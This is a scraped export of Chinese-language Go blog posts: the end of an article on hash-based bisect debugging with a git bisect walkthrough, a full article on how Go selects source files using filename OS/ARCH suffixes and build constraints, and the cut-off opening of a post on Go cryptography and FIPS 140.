matches) bisect: matches: [bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration bisect: run: go test -v -args -bisect=-x3f... ok (1 matches) bisect: matches: [bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration bisect: target succeeds with all remaining changes enabled 简单解读一下这个bisect调试过程的输出。\nbisect执行分为几个阶段：\n初始检查阶段 首先用-bisect=n禁用所有变更进行测试 → 测试通过（ok）\n然后用-bisect=y启用所有变更进行测试 → 测试失败（FAIL）\n这表明程序在没有任何变更时是正常的，但启用所有变更后会失败。\n启用所有变更时观察到两个特性：\n[bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic 二分查找阶段 测试+0（启用第一个变更：range-iteration）→ 测试通过（ok）\n测试+1（启用第二个变更：concurrent-logic）→ 测试失败（FAIL）\n这个过程帮助定位到具体是哪个变更导致了失败。\n确认阶段 使用v+x3f 模式再次确认 → 测试失败（FAIL）\n明确找到了导致失败的变更集合：\n--- change set #1 (enabling changes causes failure) enabled feature: concurrent-logic --- 最终验证 使用-x3f 模式（禁用确认的问题变更）进行测试 → 测试通过（ok）\n确认启用其他所有变更（除了concurrent-logic）时程序都能正常运行。\n从中得出调试结论：bisect工具成功定位到问题出在concurrent-logic特性上，range-iteration特性是安全的，不会导致测试失败。问题明确是在并发逻辑中的“故意”逻辑导致的，这符合我们的代码实现中的预期问题（在 concurrent-logic 特性中，我们确实故意修改了数据）。\n5. 小结 在本文中，我们深入探讨了Hash-Based Bisect这一先进的调试技术，特别是在Go语言项目中的应用。Hash-Based Bisect通过为代码的变化点生成唯一的哈希值，结合二分搜索算法，帮助开发者快速定位复杂程序中的问题，超越传统的git bisect方法。我们还详细介绍了其工作原理、在Go项目中的现状，以及如何将这一技术集成到自己的Go库中，以提升调试效率。也许这里的示例也许并不恰当，但已经达成了我向你展示如何使用bisect工具和bisect包的目的。\n尽管Hash-Based Bisect在定位复杂问题上表现出色，但感觉其当前设计仍存在一些不足，这些不足可能会影响开发者的使用体验，尤其是在将其集成到Go包或项目时，这个不足主要体现在对代码的侵入性上。为了支持Hash-Based Bisect，Go包需要显式实现与bisect工具交互的协议，包括支持从命令行或环境变量接收bisect传入的模式(pattern)；需要在代码中创建bisect.Matcher对象，并调用ShouldEnable和ShouldReport接口来管理变化点；代码中必须为潜在变化点显式生成唯一的哈希值，并根据需要启用或禁用。\n这种显式集成导致代码逻辑被调试相关代码“污染”，增加了代码复杂度和维护成本。对于一些简单的库或项目，开发者可能不愿为调试需求增加这种负担。\n在\\$GOROOT/src/cmd/compile/internal/base中，编译器相关代码就将bisect封装到了一个HashDebug结构中，一定程度上减少了代码的侵入深度以及手动集成的工作量。\n此外，golang.org/x/tools/internal/bisect包尚未正式变为debug/bisect，后续其API是否会发生变化，尚不得而知，本文中的示例代码不保证在后续的Go版本调整后依然能够正确运行。\n本文涉及的源码可以在这里下载。\n6. 参考资料 Hash-Based Bisect Debugging in Compilers and Runtimes – https://research.swtch.com/bisect proposal: debug/bisect: publish x/tools/internal/bisect – https://github.com/golang/go/issues/67140 golang.org/x/tools/internal/bisect package – https://pkg.go.dev/golang.org/x/tools/internal/bisect Hacker News- Hash-based bisect debugging in compilers and runtimes – https://news.ycombinator.com/item?id=40995982 7. 附录：git bisect使用示例 假设你有一个Go语言项目，并且发现最近的某次提交引入了一个问题（例如，某个测试用例失败了）。你希望使用git bisect找到引入该问题的具体提交。\n你的项目目录设计如下：\nmy-go-project/ ├── main.go └── main_test.go 我们来建立这个示例项目：\n// 在hash-based-bisect/git-bisect下面执行 $mkdir my-go-project $cd my-go-project $git init 创建main.go：\n// main.go package main func main() { println(\u0026#34;Hello, world!\u0026#34;) } func Add(a, b int) int { return a + b } 提交变更：\n$git add main.go git commit -m \u0026#34;Initial commit with Add function\u0026#34; [master (root-commit) 16f8736] Initial commit with Add function 1 file changed, 9 insertions(+) create mode 100644 main.go 创建main_test.go：\n// main_test.go package main import \u0026#34;testing\u0026#34; func TestAdd(t *testing.T) { if Add(2, 3) != 5 { t.Error(\u0026#34;Expected 5, got something else\u0026#34;) } } 提交变更：\n$git add main_test.go git commit -m \u0026#34;Add test for Add function\u0026#34; [master b7b3c44] Add test for Add function 1 file changed, 9 insertions(+) create mode 100644 main_test.go 故意引入一个bug并提交变更：\n$sed -i \u0026#39;s/return a + b/return a - b/\u0026#39; main.go $git commit -am \u0026#34;Introduce a bug in Add function\u0026#34; [master 977e647] Introduce a bug in Add function 1 file changed, 1 insertion(+), 1 deletion(-) 添加一些其他提交（无关的变更）：\n$echo \u0026#34;// Just a comment\u0026#34; \u0026gt;\u0026gt; main.go $git commit -am \u0026#34;Add a comment\u0026#34; [master 25f88b0] Add a comment 1 file changed, 2 insertions(+) 这里列出上面所有commit的list，便于后续对照：\n$git log --oneline 25f88b0 (HEAD -\u0026gt; master) Add a comment 977e647 Introduce a bug in Add function b7b3c44 Add test for Add function 16f8736 Initial commit with Add function 接下来，我们就可以演示git bisect了，先来演示一下手工bisect。\n启动git bisect模式：\n$git bisect start 标记当前最新提交为bad：\n$git bisect bad 标记首次提交为good：\n$git bisect good 16f8736 Bisecting: 0 revisions left to test after this (roughly 1 step) [977e647e7461c4c03ee25e53728dd743af925f17] Introduce a bug in Add function 我们看到git bisect自动切换到一个中间的提交，我们需要验证这次中间提交是否能通过测试：\n$go test --- FAIL: TestAdd (0.00s) main_test.go:7: Expected 5, got something else FAIL exit status 1 FAIL github.com/bigwhite/experiments/hash-based-bisect/git-bisect/my-go-project 0.006s 测试失败，我们将该提交标记为bad：\n$git bisect bad Bisecting: 0 revisions left to test after this (roughly 0 steps) [b7b3c444f0fd55086e6ce36fb543a136a1611b61] Add test for Add function git bisect又切换到了另外一个中间提交，我们用go test验证是否能通过：\n$go test PASS ok github.com/bigwhite/experiments/hash-based-bisect/git-bisect/my-go-project 0.005s 测试通过，我们将这个中间提交标记为good：\n$git bisect good 977e647e7461c4c03ee25e53728dd743af925f17 is the first bad commit commit 977e647e7461c4c03ee25e53728dd743af925f17 Author: Tony Bai \u0026lt;bigwhite.cn@aliyun.com\u0026gt; Date: Fri Nov 24 13:27:08 2024 +0800 Introduce a bug in Add function :100644 100644 e357c05d933724eb8b7c1aafee34b8f95913355e e65baa0414a2a1f983379c23ac549b7d8b056db3 M main.go 我们看到：git bisect找到了一个bad commit，并显示“977e647e7461c4c03ee25e53728dd743af925f17 is the first bad commit”。\n结束git bisect模式：\n$git bisect reset 上面的过程可以使用git bisect run进行自动化，而无需中间手动多次的执行go test和标记，下面是一个等价的git bisect过程：\n$git bisect start $git bisect bad $git bisect good 16f8736 Bisecting: 0 revisions left to test after this (roughly 1 step) [977e647e7461c4c03ee25e53728dd743af925f17] Introduce a bug in Add function $git bisect run go test running go test --- FAIL: TestAdd (0.00s) main_test.go:7: Expected 5, got something else FAIL exit status 1 FAIL github.com/bigwhite/experiments/hash-based-bisect/git-bisect/my-go-project 0.006s Bisecting: 0 revisions left to test after this (roughly 0 steps) [b7b3c444f0fd55086e6ce36fb543a136a1611b61] Add test for Add function running go test PASS ok github.com/bigwhite/experiments/hash-based-bisect/git-bisect/my-go-project 0.006s 977e647e7461c4c03ee25e53728dd743af925f17 is the first bad commit commit 977e647e7461c4c03ee25e53728dd743af925f17 Author: Tony Bai \u0026lt;bigwhite.cn@aliyun.com\u0026gt; Date: Fri Nov 24 13:27:08 2024 +0800 Introduce a bug in Add function :100644 100644 e357c05d933724eb8b7c1aafee34b8f95913355e e65baa0414a2a1f983379c23ac549b7d8b056db3 M main.go bisect run success $git bisect reset Previous HEAD position was b7b3c44 Add test for Add function Switched to branch \u0026#39;master\u0026#39; 我们看到通过git bisect run可以更快速地定位问题，而无需中间的手工操作，这是我们日常开发中主要使用的bisect手段！\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/24/how-to-support-hash-based-bisect-in-go-package/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-support-hash-based-bisect-in-go-package-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/24/how-to-support-hash-based-bisect-in-go-package\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/mm/dd/how-to-support-hash-based-bisect-in-go-package\"\u003ehttps://tonybai.com/2024/mm/dd/how-to-support-hash-based-bisect-in-go-package\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ebisect是一个英文动词，意为“二分”或“分成两部分”。在数学和计算机科学中，通常指将一个区间或一个集合分成两个相等的部分。\u003c/p\u003e\n\u003cp\u003e对于程序员来说，最熟悉的bisect应用莫过于下面两个：\u003c/p\u003e","title":"一文搞懂如何在Go包中支持Hash-Based Bisect调试"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/21/go-source-file-selection-details-when-building-package\n在Go语言开发中，包（package）是代码组织的基本单位，也是基本的构建单元。Go编译器会将每个包构建成一个目标文件(.a)，然后通过链接器将这些目标文件链接在一起，形成最终的可执行程序。\n尽管Go包的构建过程看似简单，但实际上蕴含着许多值得深入了解的细节。例如，当我们执行go build命令时，Go编译器是如何选择需要编译的源文件的？你可能会回答：“不就是通过文件名中的ARCH和OS标识以及构建约束（build constraints）来选择的吗？” 虽然你的答案并没有错，但如果我进一步提出以下问题，你是否还能给出确切的答案呢？\n假设一个Go源文件使用了如下的构建约束：\n//go:build unix package foo // ... ... 在执行GOOS=android go build时，这个文件是否会被编译？如果执行的是GOOS=aix go build呢？而“unix”究竟包含了哪些操作系统？\n再进一步，当一个源文件的文件名中包含ARCH和操作系统标识，并且文件内容中也使用了构建约束时，Go编译器会如何处理这些信息的优先级？\n即使是经验丰富的Go专家，对于上述在包构建过程中涉及的文件选择细节，可能也只能给出模糊的答案。\n在实际开发中，我们常常需要针对不同操作系统和架构编写特定的代码，这意味着灵活性与复杂性并存。Go的构建约束和文件名约定虽然为我们提供了灵活性，但也带来了额外的复杂性。理解这些规则不仅有助于优化构建过程，还能有效避免潜在的错误和不必要的麻烦。\n在这篇文章中，我将与大家探讨Go包构建过程中源文件选择的细节，包括文件名中ARCH和os标识约定和构建约束的作用，以及二者的优先级处理问题。希望通过这些内容，帮助开发者更好地掌握Go语言的构建机制，从而提高开发效率。\n为了更好地说明Go包构建时的文件选择逻辑，我们先从Go包构建的一些“表象”说起。\n注：在本文中，我们将使用Go 1.17引入的新版build constraints写法：//go:build ，之前的// +build aix darwin dragonfly freebsd js,wasm …写法已经不再被推荐使用。如果你想对旧版build constraints写法有一个全面了解以便与新写法对比，推荐阅读我的《Go语言精进之路：从新手到高手的编程思想、方法和技巧》第2册。\n1. 表象 在Go工程中，通常一个目录对应一个Go包，每个Go包下可以存在多个以.go为后缀的Go源文件，这些源文件只能具有唯一的包名（测试源文件除外），以标准库fmt包为例，它的目录下的源文件列表如下(以Go 1.23.0源码为例)：\n$ls $GOROOT/src/fmt doc.go export_test.go print.go stringer_example_test.go errors.go fmt_test.go scan.go stringer_test.go errors_test.go format.go scan_test.go example_test.go gostringer_example_test.go state_test.go 在这些文件中，哪些最终进入到了fmt包的目标文件(fmt.a)中呢？贴心的Go工具链为我们提供了查看方法：\n$go list -f \u0026#39;{{.GoFiles}}\u0026#39; fmt [doc.go errors.go format.go print.go scan.go] 对于独立于目标ARCH和OS的fmt包来说，其Go源文件的选择似乎要简单一些。我们看到，除了包测试文件(xxx_test.go)，其他文件都被编译到了最终的fmt包中。\n我们再来看一个与目标ARCH和OS相关性较高的net包。除去子目录，这个包目录下的Go源文件数量大约有220多个，但在macOS/amd64下通过go list查看最终进入net包目标文件的文件，大约只有几十个：\n$go list -f \u0026#39;{{.GoFiles}}\u0026#39; net [addrselect.go cgo_darwin.go cgo_unix.go cgo_unix_syscall.go conf.go dial.go dnsclient.go dnsclient_unix.go dnsconfig.go dnsconfig_unix.go error_posix.go error_unix.go fd_posix.go fd_unix.go file.go file_unix.go hook.go hook_unix.go hosts.go interface.go interface_bsd.go interface_darwin.go ip.go iprawsock.go iprawsock_posix.go ipsock.go ipsock_posix.go lookup.go lookup_unix.go mac.go mptcpsock_stub.go net.go netcgo_off.go netgo_off.go nss.go parse.go pipe.go port.go port_unix.go rawconn.go rlimit_unix.go sendfile_unix_alt.go sock_bsd.go sock_posix.go sockaddr_posix.go sockopt_bsd.go sockopt_posix.go sockoptip_bsdvar.go sockoptip_posix.go splice_stub.go sys_cloexec.go tcpsock.go tcpsock_posix.go tcpsock_unix.go tcpsockopt_darwin.go tcpsockopt_posix.go udpsock.go udpsock_posix.go unixsock.go unixsock_posix.go unixsock_readmsg_cloexec.go writev_unix.go] 接下来，我们跳出Go标准库，来看一个自定义的示例：\n$tree -F buildconstraints/demo1 buildconstraints/demo1 ├── foo/ │ ├── f1_android.go │ ├── f2_linux.go │ └── f3_darwin.go └── go.mod // buildconstraints/demo1/foo/f1_android.go //go:build linux package foo func F1() { } // buildconstraints/demo1/foo/f2_linux.go //go:build android package foo func F2() { } // buildconstraints/demo1/foo/f3_darwin.go //go:build android package foo func F3() { } 在GOOS=android下构建buildconstraints/demo1/foo这个包，哪些文件会被选出来呢，看下面输出结果：\n$GOOS=android go list -f \u0026#39;{{.GoFiles}}\u0026#39; github.com/bigwhite/demo1/foo [f1_android.go f2_linux.go] 如果说前两个示例还好理解，那这第三个示例很可能会让很多开发者觉得有些“发蒙”。 别急，上面三个示例都是表象，接下来，我们就来仔细探索一下Go构建时的文件选择机制。\n2. 文件选择机制 Go包构建时选择源文件的机制还是蛮繁琐的，我们需要从源码入手梳理出其主要逻辑，在Go 1.23版本中，Go包构建过程源文件选择逻辑的代码位于\\$GOROOT/src/go/build/build.go中，这个源文件有2k多行，不过不用担心，我这里会替你把主要调用逻辑梳理为下图：\n函数Import调用Default.Import去获取包的详细信息，信息用build.Package结构表示：\n// $GOROOT/src/go/build/build.go // A Package describes the Go package found in a directory. type Package struct { Dir string // directory containing package sources Name string // package name ImportComment string // path in import comment on package statement Doc string // documentation synopsis ImportPath string // import path of package (\u0026#34;\u0026#34; if unknown) Root string // root of Go tree where this package lives SrcRoot string // package source root directory (\u0026#34;\u0026#34; if unknown) PkgRoot string // package install root directory (\u0026#34;\u0026#34; if unknown) PkgTargetRoot string // architecture dependent install root directory (\u0026#34;\u0026#34; if unknown) BinDir string // command install directory (\u0026#34;\u0026#34; if unknown) Goroot bool // package found in Go root PkgObj string // installed .a file AllTags []string // tags that can influence file selection in this directory ConflictDir string // this directory shadows Dir in $GOPATH BinaryOnly bool // cannot be rebuilt from source (has //go:binary-only-package comment) // Source files GoFiles []string // .go source files (excluding CgoFiles, TestGoFiles, XTestGoFiles) ... ... 其中的GoFiles就是参与Go包编译的源文件列表。\nDefault是默认的上下文信息，包括构建所需的默认goenv中几个环境变量，比如GOARCH、GOOS等的值：\n// Default is the default Context for builds. // It uses the GOARCH, GOOS, GOROOT, and GOPATH environment variables // if set, or else the compiled code\u0026#39;s GOARCH, GOOS, and GOROOT. var Default Context = defaultContext() Context的Import方法代码行数很多，对于要了解文件选择细节的我们来说，其中最重要的调用是Context的matchFile方法。\nmatchFile正是那个用于确定某个Go源文件是否应该被选入最终包文件中的方法。它内部的逻辑可以分为两个主要步骤。\n第一步是调用Context的goodOSArchFile方法对Go源文件的名字进行判定，goodOSArchFile方法的判定也有两个子步骤：\n判断名字中的OS和ARCH是否在Go支持的OS和ARCH列表中 当前Go支持的OS和ARCH在syslist.go文件中有定义：\n// $GOROOT/src/go/build/syslist.go // knownArch is the list of past, present, and future known GOARCH values. // Do not remove from this list, as it is used for filename matching. var knownArch = map[string]bool{ \u0026#34;386\u0026#34;: true, \u0026#34;amd64\u0026#34;: true, \u0026#34;amd64p32\u0026#34;: true, \u0026#34;arm\u0026#34;: true, \u0026#34;armbe\u0026#34;: true, \u0026#34;arm64\u0026#34;: true, \u0026#34;arm64be\u0026#34;: true, \u0026#34;loong64\u0026#34;: true, \u0026#34;mips\u0026#34;: true, \u0026#34;mipsle\u0026#34;: true, \u0026#34;mips64\u0026#34;: true, \u0026#34;mips64le\u0026#34;: true, \u0026#34;mips64p32\u0026#34;: true, \u0026#34;mips64p32le\u0026#34;: true, \u0026#34;ppc\u0026#34;: true, \u0026#34;ppc64\u0026#34;: true, \u0026#34;ppc64le\u0026#34;: true, \u0026#34;riscv\u0026#34;: true, \u0026#34;riscv64\u0026#34;: true, \u0026#34;s390\u0026#34;: true, \u0026#34;s390x\u0026#34;: true, \u0026#34;sparc\u0026#34;: true, \u0026#34;sparc64\u0026#34;: true, \u0026#34;wasm\u0026#34;: true, } // knownOS is the list of past, present, and future known GOOS values. // Do not remove from this list, as it is used for filename matching. // If you add an entry to this list, look at unixOS, below. var knownOS = map[string]bool{ \u0026#34;aix\u0026#34;: true, \u0026#34;android\u0026#34;: true, \u0026#34;darwin\u0026#34;: true, \u0026#34;dragonfly\u0026#34;: true, \u0026#34;freebsd\u0026#34;: true, \u0026#34;hurd\u0026#34;: true, \u0026#34;illumos\u0026#34;: true, \u0026#34;ios\u0026#34;: true, \u0026#34;js\u0026#34;: true, \u0026#34;linux\u0026#34;: true, \u0026#34;nacl\u0026#34;: true, \u0026#34;netbsd\u0026#34;: true, \u0026#34;openbsd\u0026#34;: true, \u0026#34;plan9\u0026#34;: true, \u0026#34;solaris\u0026#34;: true, \u0026#34;wasip1\u0026#34;: true, \u0026#34;windows\u0026#34;: true, \u0026#34;zos\u0026#34;: true, } 我们也可以通过下面命令查看：\n$go tool dist list aix/ppc64 android/386 android/amd64 android/arm android/arm64 darwin/amd64 darwin/arm64 dragonfly/amd64 freebsd/386 freebsd/amd64 freebsd/arm freebsd/arm64 freebsd/riscv64 illumos/amd64 ios/amd64 ios/arm64 js/wasm linux/386 linux/amd64 linux/arm linux/arm64 linux/loong64 linux/mips linux/mips64 linux/mips64le linux/mipsle linux/ppc64 linux/ppc64le linux/riscv64 linux/s390x netbsd/386 netbsd/amd64 netbsd/arm netbsd/arm64 openbsd/386 openbsd/amd64 openbsd/arm openbsd/arm64 openbsd/ppc64 openbsd/riscv64 plan9/386 plan9/amd64 plan9/arm solaris/amd64 wasip1/wasm windows/386 windows/amd64 windows/arm windows/arm64 注：像sock_bsd.go、sock_posix.go这样的Go源文件，虽然它们的文件名中包含posix、bsd等字样，但这些文件实际上只是普通的Go源文件。其文件名本身并不会影响Go包在构建时选择文件的结果。\n调用matchTag来判定该Go源文件名字中的OS和ARCH是否与当前上下文信息中的OS和ARCH匹配 Go支持的源文件名组成格式如下：\n// name_$(GOOS).* // name_$(GOARCH).* // name_$(GOOS)_$(GOARCH).* // name_$(GOOS)_test.* // name_$(GOARCH)_test.* // name_$(GOOS)_$(GOARCH)_test.* 不过这里有三个例外，即：\n如果上下文中的GOOS=android，那么文件名字中OS值为linux的Go源文件也算是匹配的；\n如果上下文中的GOOS=illumos，那么文件名字中OS值为solaris的Go源文件也算是匹配的；\n如果上下文中的GOOS=ios，那么文件名字中OS值为darwin的Go源文件也算是匹配的。\n还有一个特殊处理，那就是当文件名字中OS值为unix时，该源文件可以匹配以下上下文中GOOS的值：\n// $GOROOT/src/go/build/syslist.go // unixOS is the set of GOOS values matched by the \u0026#34;unix\u0026#34; build tag. // This is not used for filename matching. // This list also appears in cmd/dist/build.go and // cmd/go/internal/imports/build.go. var unixOS = map[string]bool{ \u0026#34;aix\u0026#34;: true, \u0026#34;android\u0026#34;: true, \u0026#34;darwin\u0026#34;: true, \u0026#34;dragonfly\u0026#34;: true, \u0026#34;freebsd\u0026#34;: true, \u0026#34;hurd\u0026#34;: true, \u0026#34;illumos\u0026#34;: true, \u0026#34;ios\u0026#34;: true, \u0026#34;linux\u0026#34;: true, \u0026#34;netbsd\u0026#34;: true, \u0026#34;openbsd\u0026#34;: true, \u0026#34;solaris\u0026#34;: true, } 这里面列出os都是所谓的“类Unix”操作系统。\n如果goodOSArchFile方法返回文件名匹配成功，那么第二步就是调用Context的shouldBuild方法对Go源文件中的build constraints进行判定，这个判定过程也是调用matchTag完成的，因此规则与上面对matchTag的说明一致。如果判定match成功，那么该源文件将会被Go编译器编译到最终的Go包目标文件中去。\n下面我们结合文章第一节“表象”中的那个自定义示例来判定一下为何最终会输出那个结果。\n3. 示例分析 在buildconstraints/demo1/foo包目录中，一共有三个Go源文件：\n$tree -F foo foo ├── f1_android.go ├── f2_linux.go └── f3_darwin.go 注意：当前我的系统为darwin/amd64，但我们使用了GOOS=android的环境变量。我们顺着上一节梳理出来的文件选择判定的主逻辑，对着三个文件逐一过一遍。\nf1_android.go 首先用goodOSArchFile判定文件名是否匹配。当GOOS=android时，文件名中的os为android，文件名匹配成功，\n然后用shouldBuild判定文件中的build constraints是否匹配。该文件的约束为linux，在上面matchTag的三个例外规则里提到过，当GOOS=android时，如果build constraints是linux，是可以匹配的。\n因此，f1_android.go将出现在最终编译文件列表中。\nf2_linux.go 首先用goodOSArchFile判定文件名是否匹配。当GOOS=android时，文件名中的os为linux，linux显然在go支持的os列表中，并且根据matchTag的例外规则，当GOOS=android时，文件名中的os为linux时是可以匹配的。\n然后用shouldBuild判定文件中的build constraints是否匹配。该文件的约束为android，与GOOS相同，可以匹配。\n因此，f2_linux.go将出现在最终编译文件列表中。\nf3_darwin.go 首先用goodOSArchFile判定文件名是否匹配。当GOOS=android时，文件名中的os为darwin，虽然darwin在go支持的os列表中，但darwin与GOOS=android并不匹配，因此在goodOSArchFile这步中，f3_darwin.go就被“淘汰”掉了！即便f3_darwin.go中的build constraints为android。\n因此，f3_darwin.go不会出现在最终编译文件列表中。\n如果再增加一个源文件f4_unix.go，其内容为：\n//go:build android func F4() { } 这个f4_unix.go是否会出现在最终的包编译文件列表中呢？这个作为思考题留给大家了，也欢迎你在评论区留言，说说你的思考结果。\n4. 小结 在Go语言的开发过程中，包的构建是核心环节之一，而源文件的选择则是构建过程中一个复杂且关键的细节。本文深入探讨了Go编译器在执行go build命令时，如何根据文件名中的架构（ARCH）和操作系统（OS）标识，以及构建约束（build constraints），来选择需要编译的源文件。\n通过具体示例，本文展示了不同文件名和构建约束如何影响最终的编译结果，并揭示了Go编译器处理这些信息的优先级。理解这些内部机制不仅能帮助开发者优化构建过程，还能有效避免潜在的错误。希望本文的分析能够给大家带去帮助。\n注：限于篇幅，本文仅针对包编译文件选择最复杂的部分进行的探索，而像ReleaseTags(比如: go1.21等)、cgo、_test.go后缀等比较明显的约束并未涉及，同时对于新版build constraints的运算符组合也未提及，感兴趣的童鞋可以参考go build constraints官方文档查阅。\n本文涉及的源码可以在这里下载。\n5. 参考资料 Go build constraints – https://pkg.go.dev/cmd/go#hdr-Build_constraints proposal: cmd/go: allow \u0026amp;\u0026amp; and || operators and parentheses in build tags – https://github.com/golang/go/issues/25348 Bug-resistant build constraints — Draft Design – https://go.googlesource.com/proposal/+/master/design/draft-gobuild.md cmd/go: continue conversion to bug-resistant //go:build constraints – https://github.com/golang/go/issues/41184 Go 1.17 release notes – https://go.dev/doc/go1.17 cmd/go: provide build tags for architecture environment variables – https://github.com/golang/go/issues/45454 Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/21/go-source-file-selection-details-when-building-package/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-source-file-selection-details-when-building-package-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/21/go-source-file-selection-details-when-building-package\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/21/go-source-file-selection-details-when-building-package\"\u003ehttps://tonybai.com/2024/11/21/go-source-file-selection-details-when-building-package\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在Go语言开发中，\u003ca href=\"https://tonybai.com/2023/06/18/go-package-design-guide/\"\u003e包（package）是代码组织的基本单位\u003c/a\u003e，也是基本的构建单元。Go编译器会将每个包构建成一个目标文件(.a)，然后通过链接器将这些目标文件链接在一起，形成最终的可执行程序。\u003c/p\u003e\n\u003cp\u003e尽管Go包的构建过程看似简单，但实际上蕴含着许多值得深入了解的细节。例如，当我们执行go build命令时，Go编译器是如何选择需要编译的源文件的？你可能会回答：“不就是通过文件名中的ARCH和OS标识以及构建约束（build constraints）来选择的吗？” 虽然你的答案并没有错，但如果我进一步提出以下问题，你是否还能给出确切的答案呢？\u003c/p\u003e","title":"Go包构建：专家也未必了解的文件选择细节"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/16/go-crypto-and-fips-140\n在今年3月份，Microsoft Azure团队宣布开设Go开发人员博客，旨在向开发者通报Microsoft在Go领域的最新动态，包括如何在Azure上部署Go工作负载以及与Go编程相关的文章。\n然而，经过一段时间的关注，我发现该博客上的大多数文章都呈现出类似下图中的标题格式：\n似乎微软在紧跟Go的发布节奏，发布自己维护的fork版本。那么，这些fork版本与上游Go究竟有何不同呢？通过查阅其fork版的README文件，我们可以找到答案：\n原来微软的Go分支主要是为了向开发者提供符合FIPS 140-2标准的Go加密库。\n近期，Russ Cox也发起了一个新提案，旨在使Go的加密库符合FIPS 140标准，以便能够去除Boring Crypto库。\n对于许多对加密领域不太熟悉的读者来说，这可能会引发一系列疑问：什么是FIPS 140标准？Go目前对FIPS 140标准的支持状态如何？新提案将如何影响Go未来对FIPS 140标准的支持？\n在这篇文章中，我们就一起了解一下FIPS 140标准、Go对其支持的现状以及未来的支持策略。\n1. 什么是FIPS 140标准认证 FIPS 140（联邦信息处理标准第140号）是美国政府制定的一套计算机安全标准，主要用于规定加密模块的要求。该标准由美国国家标准与技术研究院（NIST）发布，旨在确保用于加密的硬件和软件模块满足一定的安全标准。\nFIPS 140标准经历了多个版本的演进：\nFIPS 140-1 于1994年发布，2002年撤回。它首次定义了四个安全级别和十一项要求领域。\nFIPS 140-2 于2001年发布，考虑了技术的发展和用户反馈，是国际标准ISO/IEC 19790:2006的基础文件。FIPS 140-2仍然在使用，直到2022年4月某些应用程序的测试可以继续进行。FIPS 140-2定义了四个安全级别：\n级别1：最低要求，所有组件必须是“生产级”的，且不允许有明显的安全漏洞。 级别2：增加了物理防篡改的要求，要求有角色基础的身份验证。 级别3：要求更高的物理防篡改能力和基于身份的认证，同时要求对模块的关键安全参数接口进行物理或逻辑隔离。 级别4：对物理安全要求更严格，要求能够抵御环境攻击。 FIPS 140-3 在2019年发布，作为FIPS 140-2的继任者，FIPS 140-3对标准进行了更新，使其与国际标准更为一致，并引入了新的安全要求。\nFIPS 140认证由**加密模块验证计划（CMVP）**负责，该计划是NIST与加拿大通信安全局（CSE）共同运营的。认证过程涉及对加密模块的详细测试，确保其符合相应的标准要求。所有使用加密的美国联邦政府部门都必须使用经过FIPS 140认证的模块。\nFIPS 140并不保证使用该标准的模块一定是安全的，但它确立了一系列文档和测试要求，确保加密模块在设计和实现上的可靠性。对于希望使用加密模块的用户和开发者来说，确认所使用的模块是否有现有的验证证书是非常重要的。\nFIPS 140是美国政府对加密模块的要求，许多公司需要遵守这些标准以满足合规性需求，尤其是一些企业在与美国政府及其他受监管行业的合作中，FIPS合规性变得至关重要，这也是微软为何要建立Go Fork分支满足FIPS合规性，以及Go团队发起尽快让Go加密库满足FIPS合规性的提案的根本原因。随着Go在受监管环境中的采用增加，FIPS合规性将影响Go的吸引力和开发者体验。\n那么当前Go密码学包对FIPS的支持是怎样的呢？我们继续往下看。\n2. Go密码学包对FIPS标准支持的现状 到目前为止(Go 